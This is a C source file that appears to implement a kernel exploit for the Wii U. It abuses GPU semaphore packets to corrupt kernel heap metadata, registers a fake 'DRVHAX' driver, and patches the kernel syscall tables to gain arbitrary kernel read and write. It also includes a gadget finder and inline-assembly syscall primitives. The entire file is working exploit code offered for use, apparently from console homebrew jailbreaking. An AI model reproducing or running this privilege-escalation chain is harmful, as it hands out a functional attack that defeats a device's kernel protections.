#include "kcommon.h"
#include "kexploit.h"

extern void SCKernelCopyData(uint32_t addr, uint32_t src, uint32_t len);

/* Initial setup code stolen from Pong, makes race much more reliable */
void run_kexploit(uint32_t coreinit_handle){
    /* Get a handle to coreinit.rpl and gx2.rpl */
    uint32_t gx2_handle = 0;
    unsigned int* functionPointer;
    OSDynLoad_Acquire("gx2.rpl", &gx2_handle);

    /* Exit functions */
    void (*__PPCExit)();
    void (*_Exit)(int32_t);
    void* (*MEMAllocFromDefaultHeapEx)(uint32_t size, uint32_t align);
    void  (*MEMFreeToDefaultHeap)(void *ptr);
    
    OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit);
    OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
    
    OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer);
    MEMAllocFromDefaultHeapEx = (void*(*)(uint32_t, uint32_t))*functionPointer;
    OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPointer);
    MEMFreeToDefaultHeap = (void (*)(void *))*functionPointer;
    
    /* Memory functions */
    void (*DCFlushRange)(void *buffer, uint32_t length);
    void (*DCInvalidateRange)(void *buffer, uint32_t length);
    void (*DCTouchRange)(void *buffer, uint32_t length);
    uint32_t (*OSEffectiveToPhysical)(void *vaddr);
    void* (*OSAllocFromSystem)(uint32_t size, int32_t align);
    void (*OSFreeToSystem)(void *ptr);
    OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
    OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange);
    OSDynLoad_FindExport(coreinit_handle, 0, "DCTouchRange", &DCTouchRange);
    OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical);
    OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
    OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);

    /* OS thread functions */
    bool (*OSCreateThread)(void *thread, void *entry, int32_t argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr);
    int32_t (*OSResumeThread)(void *thread);
    void (*OSExitThread)();
    int32_t (*OSIsThreadTerminated)(void *thread);
    void (*OSYieldThread)(void);

    OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
    OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
    OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread);
    OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
    OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread);

    /* OSDriver functions */
    uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020};
    uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit);
    uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020};
    uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit);
    uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020};
    uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit);
    uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020};
    uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit);

    /* GX2 functions */
    void (*GX2SetSemaphore)(uint64_t *sem, int32_t action);
    void (*GX2Flush)(void);
    void (*GX2DrawDone)(void);
    void (*GX2DirectCallDisplayList)(void* arg, uint32_t size);
    OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore);
    OSDynLoad_FindExport(gx2_handle, 0, "GX2DrawDone", &GX2DrawDone);
    OSDynLoad_FindExport(gx2_handle, 0, "GX2Flush", &GX2Flush);
    OSDynLoad_FindExport(gx2_handle, 0, "GX2DirectCallDisplayList", &GX2DirectCallDisplayList);
    
    /* Allocate space for DRVHAX */
    uint32_t *drvhax = OSAllocFromSystem(0x4c, 4);

    /* Set the kernel heap metadata entry */
    uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE));
    metadata[0] = (uint32_t)drvhax;
    metadata[1] = (uint32_t)-0x4c;
    metadata[2] = (uint32_t)-1;
    metadata[3] = (uint32_t)-1;
    
    uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET;

    uint32_t* pm4 = (uint32_t*)MEMAllocFromDefaultHeapEx(0x20, 0x1000);
    
    for(uint32_t i = 0;i<0x20/0x04;i++){pm4[i] = 0;};   
    
    pm4[0] |= 0xC0013900; //PACKET3_MEM_SEMAPHORE
    pm4[1] |= kpaddr; //ADDR_LO = target
    pm4[2] |= 0xC0000000; //SEL semaphore signal
    pm4[3] |= 0x80000000; //nop
    pm4[4] |= 0x80000000; //nop
    pm4[5] |= 0x80000000; //nop
    pm4[6] |= 0x80000000; //nop
    pm4[7] |= 0x80000000; //nop
    
    DCFlushRange(pm4, 0x20);

    //GX2Init(NULL);
    GX2DirectCallDisplayList((void*)pm4, 8 * sizeof(uint32_t)); // increment value of kpaddr by 0x01000000
    GX2DirectCallDisplayList((void*)pm4, 8 * sizeof(uint32_t)); // increment value of kpaddr by 0x01000000

    GX2Flush();
    GX2DrawDone();
    
    MEMFreeToDefaultHeap(pm4);    

    /* Register a new OSDriver, DRVHAX */
    char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'};
    Register(drvname, 6, NULL, NULL);

    DCFlushRange(metadata, 0x04*0x04);

    /* Use DRVHAX to install the read and write syscalls */
    uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE};
    
    DCFlushRange(syscalls, 0x04*2);

    /* Modify its save area to point to the kernel syscall table */
    drvhax[0x44/4] = KERN_SYSCALL_TBL_1 + (0x34 * 4);
    CopyToSaveArea(drvname, 6, syscalls, 8);
    drvhax[0x44/4] = KERN_SYSCALL_TBL_2 + (0x34 * 4);
    CopyToSaveArea(drvname, 6, syscalls, 8);
    drvhax[0x44/4] = KERN_SYSCALL_TBL_3 + (0x34 * 4);
    CopyToSaveArea(drvname, 6, syscalls, 8);
    drvhax[0x44/4] = KERN_SYSCALL_TBL_4 + (0x34 * 4);
    CopyToSaveArea(drvname, 6, syscalls, 8);
    drvhax[0x44/4] = KERN_SYSCALL_TBL_5 + (0x34 * 4);
    CopyToSaveArea(drvname, 6, syscalls, 8);

    /* Clean up the heap and driver list so we can exit */
    kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0);
    kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]);

    // Install CopyData syscall
    kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x25 * 4)), (uint32_t)SCKernelCopyData);
    kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), (uint32_t)SCKernelCopyData);
    kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x25 * 4)), (uint32_t)SCKernelCopyData);
    kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x25 * 4)), (uint32_t)SCKernelCopyData);
    kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x25 * 4)), (uint32_t)SCKernelCopyData);
}

/* Simple memcmp() implementation */
int32_t memcmp(void *ptr1, void *ptr2, uint32_t length) {
    uint8_t *check1 = (uint8_t*) ptr1;
    uint8_t *check2 = (uint8_t*) ptr2;
    uint32_t i;
    for (i = 0; i < length; i++) {
        if (check1[i] != check2[i])
            return 1;
    }

    return 0;
}

void* memcpy(void* dst, const void* src, uint32_t size) {
    uint32_t i;
    for (i = 0; i < size; i++)
        ((uint8_t*) dst)[i] = ((const uint8_t*) src)[i];
    return dst;
}

/* Find a gadget based on a sequence of words */
void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) {
    uint32_t *ptr;

    /* Search code before JIT area first */
    for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++) {
        if (!memcmp(ptr, &code[0], length))
            return ptr;
    }

    /* Restart search after JIT */
    for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++) {
        if (!memcmp(ptr, &code[0], length))
            return ptr;
    }

    OSFatal("Gadget not found!");
    return (void*)0;
}

/* Read a 32-bit word with kernel permissions */
uint32_t __attribute__ ((noinline)) kern_read(const void *addr) {
    uint32_t result;
    asm volatile (
        "li 3,1\n"
        "li 4,0\n"
        "li 5,0\n"
        "li 6,0\n"
        "li 7,0\n"
        "lis 8,1\n"
        "mr 9,%1\n"
        "li 0,0x3400\n"
        "mr %0,1\n"
        "sc\n"
        "nop\n"
        "mr 1,%0\n"
        "mr %0,3\n"
        :	"=r"(result)
        :	"b"(addr)
        :	"memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
        "11", "12"
    );

    return result;
}

/* Write a 32-bit word with kernel permissions */
void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value) {
    asm volatile (
        "li 3,1\n"
        "li 4,0\n"
        "mr 5,%1\n"
        "li 6,0\n"
        "li 7,0\n"
        "lis 8,1\n"
        "mr 9,%0\n"
        "mr %1,1\n"
        "li 0,0x3500\n"
        "sc\n"
        "nop\n"
        "mr 1,%1\n"
        :
        :	"r"(addr), "r"(value)
        :	"memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
        "11", "12"
    );
}

void KernelWrite(uint32_t addr, const void *data, uint32_t length, uint32_t coreinit_handle) {
    // This is a hacky workaround, but currently it only works this way. ("data" is always on the stack, so maybe a problem with mapping values from the JIT area?)
    // further testing required.
    for(int32_t i = 0; i<length; i +=4) {
        KernelWriteU32(addr + i, *(uint32_t*)(data +i), coreinit_handle);
    }
}

void KernelWriteU32(uint32_t addr, uint32_t value, uint32_t coreinit_handle) {
    void* (*OSEffectiveToPhysical)(const void*);
    void  (*DCFlushRange)(const void *addr, uint32_t length);
    void  (*ICInvalidateRange)(const void *addr, uint32_t length);
    
    OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical);
    OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
    OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &ICInvalidateRange);
    
    ICInvalidateRange(&value, 4);
    DCFlushRange(&value, 4);

    uint32_t dst = (uint32_t) OSEffectiveToPhysical((void *)addr);
    uint32_t src = (uint32_t) OSEffectiveToPhysical((void *)&value);

    SC_KernelCopyData(dst, src, 4);

    DCFlushRange((void *)addr, 4);
    ICInvalidateRange((void *)addr, 4);
}


void KernelWriteU32FixedAddr(uint32_t addr, uint32_t value, uint32_t coreinit_handle) {
    void* (*OSEffectiveToPhysical)(const void*);
    void  (*DCFlushRange)(const void *addr, uint32_t length);
    void  (*ICInvalidateRange)(const void *addr, uint32_t length);
    
    OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical);
    OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
    OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &ICInvalidateRange);
    
    ICInvalidateRange(&value, 4);
    DCFlushRange(&value, 4);

    uint32_t dst = (uint32_t) addr;
    uint32_t src = (uint32_t) OSEffectiveToPhysical((void *)&value);

    SC_KernelCopyData(dst, src, 4);
}